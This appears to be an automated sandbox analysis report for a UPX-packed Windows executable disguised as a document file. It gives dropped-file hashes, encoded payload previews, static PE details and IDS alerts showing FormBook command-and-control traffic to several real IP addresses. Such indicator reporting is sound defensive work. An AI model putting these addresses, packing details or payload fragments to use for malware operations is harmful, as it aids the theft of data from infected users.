u>9<>#-=i;-_61zT1c%C(e8/xu..n&<=4b]DC~C1YEZ6T:V?.x1&..32.v3>.V..`#V._....7Q._...32..::9q0..ZC1YEZ6T..6F.P@X..KSYQLPII.C3XN[=TC.2FEQAX1SUN.@YQL@IIZ35YEZvTCG6FESAX7SUNKSYQJPIIZC1YE2TCU6FEQAX3S..KSIQL@IIZC!YEJ6TCW6FUQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1Yk.S,7W6F..EX1CUNK.]QL@IIZC1YEZ6TCW6FeQA81SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6F

C:\Users\user\AppData\Local\Temp\aut2195.tmp

Download File

Process:	C:\Users\user\Desktop\DOC092024-0431202229487.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995383375682175
Encrypted:	true
SSDEEP:	6144:m5EEXnQ9wBySivOD+qrHzFh/FrMBXugDvrwpAmNlPQ4bxQ:dwmwwCD+2TFIu55bG
MD5:	80E9D5DC059060F4C5C2424774B52DB5
SHA1:	822F8DDA3B47F5E2BEA4CE7A34AA2FB2E5B66C15
SHA-256:	FE946066454F6A1480E6D166B864CB6D482883FFCF2A8334264515388D8D6161
SHA-512:	E6EBC137CDC8A6DE9E751F9236C71C200EABBC3899089221F99AA16DC4D6BE730C22D5DC4194321906FB18768D3C31625F522F826E844DAE6552EA490EFEE884
Malicious:	false
Reputation:	low
Preview:	.....PIIZ...L...k.FF...P]...YQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQ.PIIT\.WE.?.b.7..p.0X u>9<>#-=i;-_61zT1c%C(e8/xu..n&<=4b]DC~C1YEZ6T:V?.x1&..32.v3>.V..`#V._....7Q._...32..::9q0..ZC1YEZ6T..6F.P@X..KSYQLPII.C3XN[=TC.2FEQAX1SUN.@YQL@IIZ35YEZvTCG6FESAX7SUNKSYQJPIIZC1YE2TCU6FEQAX3S..KSIQL@IIZC!YEJ6TCW6FUQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1Yk.S,7W6F..EX1CUNK.]QL@IIZC1YEZ6TCW6FeQA81SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQLPIIZC1YEZ6TCW6F

C:\Users\user\AppData\Local\Temp\aut21C4.tmp

Download File

Process:	C:\Users\user\Desktop\DOC092024-0431202229487.exe
File Type:	data
Category:	dropped
Size (bytes):	50472
Entropy (8bit):	7.8038243115079045
Encrypted:	false
SSDEEP:	768:y2zzAHI/lnSPajtT8PrzeB4WObzI2SteNC/m939zwVsb2/ZmWoZvXh+HPH9EW:y2zcHeSmN8PrzS4nXStekgI22/uZJsHn
MD5:	DC584487FE1E5A044F79C6E466AC804E
SHA1:	861635C7A408C2BC51264B3CD065ECCDE6BBE7FE
SHA-256:	5E3F308E2CF084237881C051F15334D0BB26D8A39A14A554601E87EF8E49F972
SHA-512:	A38C61C75872489652F298259370C2CB43DE623A33EC0967CEEB06A86C945D5521984371686C66DD05DAEE21F7423B0FDB052E4A25EFD4577E3314DDC66323C7
Malicious:	false
Reputation:	low
Preview:	EA06.....So.).Rk`.MlU.-..O.W.6.-..g...w...eR.R..)..a6..&..6o<.U..Y...k.I....&ae.O&....mx.V.3..Fk".W.....s4.^..9.rac._@..\|.6.M.S.$.M4.Y+...b.Xj.y...Q. &..L.0..Si..9..f.ZD.8.X.S.,..e.L-`.D.a=.&..k..8.Nm.I...8.Xn.)...6.MjS....0..,.....6...D..4.Y'S.%..b.Xf.k..c0.......h.p].....qo..f..qk...6.t.3.L&S.t.0.L%....aO.W@-...U9..&.)...3.L...H..p.K..y.6mU.].....iS.Z.4y...+...S.-.....+..$..0.M..k...9..e.[..u4..s..._4..$s....dZ..)..mY.D-sJ..c9.M..*..6.X.s...s0.L+s...[6..3...4..).,.b..g.ku..0..G....E0.M.3j...9..hSYl.a.L.9...0...j..9.M-.[<..c....d.e..c.0.B..\|P..y..q9....k%.ij.Wl.{5....Y..ju..a.M.Kd...TU.u....Y.Y....Rsv....F.T.Yl.k5..Q.H.T..m_.K.x.X.Ai.I..)..mU.\'5y.k}._'..5..o.Ll.4.._.].4.v.:.Pf....C0.L+.j.._8.....%.i'..l..5T.@...j...a.M.v:...\|T@t...6.. .Y..s6..f.........j...@.\'.....L.M......8.L.sk..G8.Nf.....4..h.j...f...j...b.NfskL...\Y......0.M.siT..9.N-.Jt.i0.........P\.U...mz..@c....J.U&.......Nf....5...i=....K.=...8..6;..1w.^...\..6.......`..f....8..

C:\Users\user\AppData\Local\Temp\maneuverability

Download File

Process:	C:\Users\user\Desktop\DOC092024-0431202229487.exe
File Type:	ASCII text, with very long lines (57348), with no line terminators
Category:	dropped
Size (bytes):	57348
Entropy (8bit):	5.747699877171752
Encrypted:	false
SSDEEP:	1536:Sc8ZPB/DlWDshQ5ZIpDfIemXJlyvnQUBLi6C4ezfs5zxxz:SJZpD4saTIFVM6fb9Ytz0h
MD5:	68CE7E81CFCF0A7B956545CAFDCC41D0
SHA1:	255EF97404F860D1400583CFDB22B48588F4D5D3
SHA-256:	3D1C502A7A65D75470EB818FED779EFB0CD5B198BC531AD33B8BF619492ED07D
SHA-512:	A47915BA4415E31CD6C9339FF236BF9267F01348DC5372A224673277501438FB64206C8AA42622BEE3FF6F06792ED52A33BDE895C919F9710C25A637D4CCC582
Malicious:	false
Reputation:	low
Preview:	0MxR5T5`85bQefcO8_1medcgc[cz0n2R0J0"01065<6[5M7<bV8U6"bk0&00I0e0<0q6A6x8Z9?4Q5"8^4^b?946z5c0\0c0}0<0/0X6~6z8d9&4Nd_8B6^b"aP7=2R0Q0<000)0O0k6658\9k545H8W8lbR8E6\|ed0k010,0=0)0v6b6L8f9m415k8laub:9?625R080o0a0f0Y0l6-6v8(9w4pd:8$cdbra66cc10M0v0]040I0w6p6(8o9q5>58ke8bV8.3H3\020n0Z0D0-0>6b6O8]9&4@59W06b>9f3p200i0&0p0.0w0M6U6w8H9}4Sdj9G2!b+a?28ek0n0o0X0$0~0~6>6a8l9m5/5w9:4_bS8R6/4S0#0?0H0Y0k0b6`6Y8Z9k4_51926ubC9U6xcC0{090(0[0W0-6S6!8;9D4IdN9e8Hbua?6nce0x0p0l0X0"066a6R8{9{5B5-9Ta@3-3!cx0{6D6]8E9R4m5g9gcabT9L6Oe70.0s0{0D0X0C6W6+899+8&d@4j4]fWfdfdf\|fvfNbea87M4l0b0O0V0}0@0{6Y6f89T9v5#4N6QfTfef6fmfQf#bA8d6_4/0Q0+0w0i0'026C6U8p9W8(5}4\|8hfnfof1f)f=f_bw9N6]c:0A0m0M0!0B0^6Z6/8O9W8)dK4'a%fMfUfdfqfVfCbja`6kcV0_000Q0I0P0P6s658E9<965E4>c?fUf/flfRfef@bp8820eL060q0`0'000s6u6#8v958}5o4#eFf^fBfCfwfAfebN936i4g0q0f0L0p0F0\6c68~9>8odN540>fCf,flfwfWfsbZa'6zc%0x090+0J0T0A6=68X909W5U5q2\|f'fjf=f/f1fZb`8e6Qc~00w0z0-0+0`696@859>8`555<4}fBfUflf~f3fa3;3'c19)6J6#8{9W8@df526:fWfWfDfmfGfbb5aR7@5d0r050'0D0I0T6Q6>8R9j

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.955261164820323
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	DOC092024-0431202229487.exe
File size:	753'664 bytes
MD5:	3a3b2034d8649f6112faa82e0daba310
SHA1:	f3f9eb85d09171f0b92412cf5d4229d034f7417e
SHA256:	e355fe9720526a9376e0557040f4d2e4eb0772a41b18c027403566500929f4e5
SHA512:	063fdbb16f6c7603256b926671b04f47cc8903a7d90ed9555a440a2dcfed6c40d97e90643a31636820ca0ff6d20bfa9f79ce26670aefbb05e5319101aa56141a
SSDEEP:	12288:fXe9PPlowWX0t6mOQwg1Qd15CcYk0We1FVWKXolCA8GzG1U/uS7UJkrBUobMoGyq:mhloDX0XOf4VWhXm1UWgZUCMoGyXpOkm
TLSH:	46F4234954D9CCEAF36AA330D0B7CE5625667931CEC5676C9328E62DBC30303A952C6F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S................g..........$...............%.....H.......X.2...........q)..Z...q)......q)........\.....q)......Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x53b090
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E156BE [Wed Sep 11 08:37:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	ef471c0edf1877cd5a881a6a8bf647b9

Entrypoint Preview

Instruction
pushad
mov esi, 004E7000h
lea edi, dword ptr [esi-000E6000h]
push edi
jmp 00007F658CB496CDh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F658CB496AFh
mov eax, 00000001h
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F658CB496CDh
jne 00007F658CB496EAh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F658CB496E1h
dec eax
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F658CB49696h
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F658CB49714h
xor ecx, ecx
sub eax, 03h
jc 00007F658CB496D3h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F658CB49737h
sar eax, 1
mov ebp, eax
jmp 00007F658CB496CDh
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F658CB4968Eh
inc ecx
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F658CB49680h
add ebx, ebx
jne 00007F658CB496C9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F658CB496B1h
jne 00007F658CB496CBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F658CB496A6h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F658CB496D0h
mov al, byte ptr [edx]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19f388	0x424	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x13c000	0x63388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x19f7ac	0xc	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x13b274	0x48	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xe6000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0xe7000	0x55000	0x54400	7df43ae634dee9bcf570475df45448ad	False	0.9884029580860534	data	7.936028857120389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x13c000	0x64000	0x63800	28c4b38d84976c7ff74a073ca63cb9e9	False	0.9494199513190955	data	7.94044284150493	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x13c5ac	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0x13c6d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0x13c804	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0x13c930	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0x13cc1c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0x13cd48	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0x13dbf4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0x13e4a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0x13ea0c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0x140fb8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0x142064	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xca4a0	0x50	empty	English	Great Britain	0
RT_STRING	0xca4f0	0x594	empty	English	Great Britain	0
RT_STRING	0xcaa84	0x68a	empty	English	Great Britain	0
RT_STRING	0xcb110	0x490	empty	English	Great Britain	0
RT_STRING	0xcb5a0	0x5fc	empty	English	Great Britain	0
RT_STRING	0xcbb9c	0x65c	empty	English	Great Britain	0
RT_STRING	0xcc1f8	0x466	empty	English	Great Britain	0
RT_STRING	0xcc660	0x158	empty	English	Great Britain	0
RT_RCDATA	0x1424d0	0x5c95e	data			1.0003322521952378
RT_GROUP_ICON	0x19ee34	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x19eeb0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x19eec8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x19eee0	0x14	data	English	Great Britain	1.25
RT_VERSION	0x19eef8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x19efd8	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.dll	AddAce
COMCTL32.dll	ImageList_Remove
COMDLG32.dll	GetSaveFileNameW
GDI32.dll	LineTo
IPHLPAPI.DLL	IcmpSendEcho
MPR.dll	WNetUseConnectionW
ole32.dll	CoGetObject
OLEAUT32.dll	VariantInit
PSAPI.DLL	GetProcessMemoryInfo
SHELL32.dll	DragFinish
USER32.dll	GetDC
USERENV.dll	LoadUserProfileW
UxTheme.dll	IsThemeActive
VERSION.dll	VerQueryValueW
WININET.dll	FtpOpenFileW
WINMM.dll	timeGetTime
WSOCK32.dll	socket

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-11T11:17:25.129349+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49736	81.88.63.46	80	TCP
2024-09-11T11:17:25.129349+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49736	81.88.63.46	80	TCP
2024-09-11T11:17:40.860929+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63317	217.70.184.50	80	TCP
2024-09-11T11:17:44.027833+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63318	217.70.184.50	80	TCP
2024-09-11T11:17:46.566841+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63319	217.70.184.50	80	TCP
2024-09-11T11:17:49.106206+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63320	217.70.184.50	80	TCP
2024-09-11T11:17:49.106206+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63320	217.70.184.50	80	TCP
2024-09-11T11:17:55.140962+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63321	172.96.187.60	80	TCP
2024-09-11T11:17:57.660795+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63322	172.96.187.60	80	TCP
2024-09-11T11:18:00.220299+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63323	172.96.187.60	80	TCP
2024-09-11T11:18:02.763625+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63324	172.96.187.60	80	TCP
2024-09-11T11:18:02.763625+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63324	172.96.187.60	80	TCP
2024-09-11T11:18:08.258289+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63325	3.33.130.190	80	TCP
2024-09-11T11:18:11.092973+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63326	3.33.130.190	80	TCP
2024-09-11T11:18:13.362343+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63327	3.33.130.190	80	TCP
2024-09-11T11:18:15.905254+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63328	3.33.130.190	80	TCP
2024-09-11T11:18:15.905254+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63328	3.33.130.190	80	TCP
2024-09-11T11:18:22.311407+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63329	67.223.117.189	80	TCP
2024-09-11T11:18:24.239922+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63330	67.223.117.189	80	TCP
2024-09-11T11:18:26.797160+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63331	67.223.117.189	80	TCP
2024-09-11T11:18:29.322120+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63332	67.223.117.189	80	TCP
2024-09-11T11:18:29.322120+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63332	67.223.117.189	80	TCP
2024-09-11T11:18:36.081007+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63333	147.92.40.175	80	TCP
2024-09-11T11:18:38.649480+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63334	147.92.40.175	80	TCP
2024-09-11T11:18:41.246867+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63335	147.92.40.175	80	TCP
2024-09-11T11:18:43.806174+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63336	147.92.40.175	80	TCP
2024-09-11T11:18:43.806174+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63336	147.92.40.175	80	TCP
2024-09-11T11:18:49.314259+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63337	3.33.130.190	80	TCP
2024-09-11T11:18:51.857060+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63338	3.33.130.190	80	TCP
2024-09-11T11:18:54.378506+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63339	3.33.130.190	80	TCP
2024-09-11T11:18:56.954242+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63340	3.33.130.190	80	TCP
2024-09-11T11:18:56.954242+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63340	3.33.130.190	80	TCP
2024-09-11T11:19:02.451571+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63341	3.33.130.190	80	TCP
2024-09-11T11:19:05.018538+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63342	3.33.130.190	80	TCP
2024-09-11T11:19:07.563352+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63343	3.33.130.190	80	TCP
2024-09-11T11:19:10.107614+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63344	3.33.130.190	80	TCP
2024-09-11T11:19:10.107614+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63344	3.33.130.190	80	TCP
2024-09-11T11:19:15.625649+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63345	3.33.130.190	80	TCP
2024-09-11T11:19:18.187779+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63346	3.33.130.190	80	TCP
2024-09-11T11:19:20.725939+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63347	3.33.130.190	80	TCP
2024-09-11T11:19:23.495580+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63348	3.33.130.190	80	TCP
2024-09-11T11:19:23.495580+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63348	3.33.130.190	80	TCP
2024-09-11T11:19:29.857744+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63349	85.153.138.113	80	TCP
2024-09-11T11:19:32.000620+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63350	85.153.138.113	80	TCP
2024-09-11T11:19:34.680405+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63351	85.153.138.113	80	TCP
2024-09-11T11:19:37.159361+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63352	85.153.138.113	80	TCP
2024-09-11T11:19:37.159361+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63352	85.153.138.113	80	TCP
2024-09-11T11:19:43.318591+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63353	104.21.11.31	80	TCP
2024-09-11T11:19:45.853997+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63354	104.21.11.31	80	TCP
2024-09-11T11:19:48.378230+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63355	104.21.11.31	80	TCP
2024-09-11T11:19:50.920421+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63356	104.21.11.31	80	TCP
2024-09-11T11:19:50.920421+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63356	104.21.11.31	80	TCP
2024-09-11T11:19:56.435701+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63357	188.114.97.3	80	TCP
2024-09-11T11:19:58.982043+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63358	188.114.97.3	80	TCP
2024-09-11T11:20:01.547658+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63359	188.114.97.3	80	TCP
2024-09-11T11:20:04.080886+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63360	188.114.97.3	80	TCP
2024-09-11T11:20:04.080886+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63360	188.114.97.3	80	TCP
2024-09-11T11:20:10.230010+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63361	3.33.130.190	80	TCP
2024-09-11T11:20:12.762486+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63362	3.33.130.190	80	TCP
2024-09-11T11:20:15.332520+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63363	3.33.130.190	80	TCP
2024-09-11T11:20:17.882453+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63364	3.33.130.190	80	TCP
2024-09-11T11:20:17.882453+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63364	3.33.130.190	80	TCP
2024-09-11T11:20:24.194165+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63365	206.119.82.134	80	TCP
2024-09-11T11:20:27.186100+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63366	206.119.82.134	80	TCP
2024-09-11T11:20:29.762687+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63367	206.119.82.134	80	TCP
2024-09-11T11:20:32.268339+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63368	206.119.82.134	80	TCP
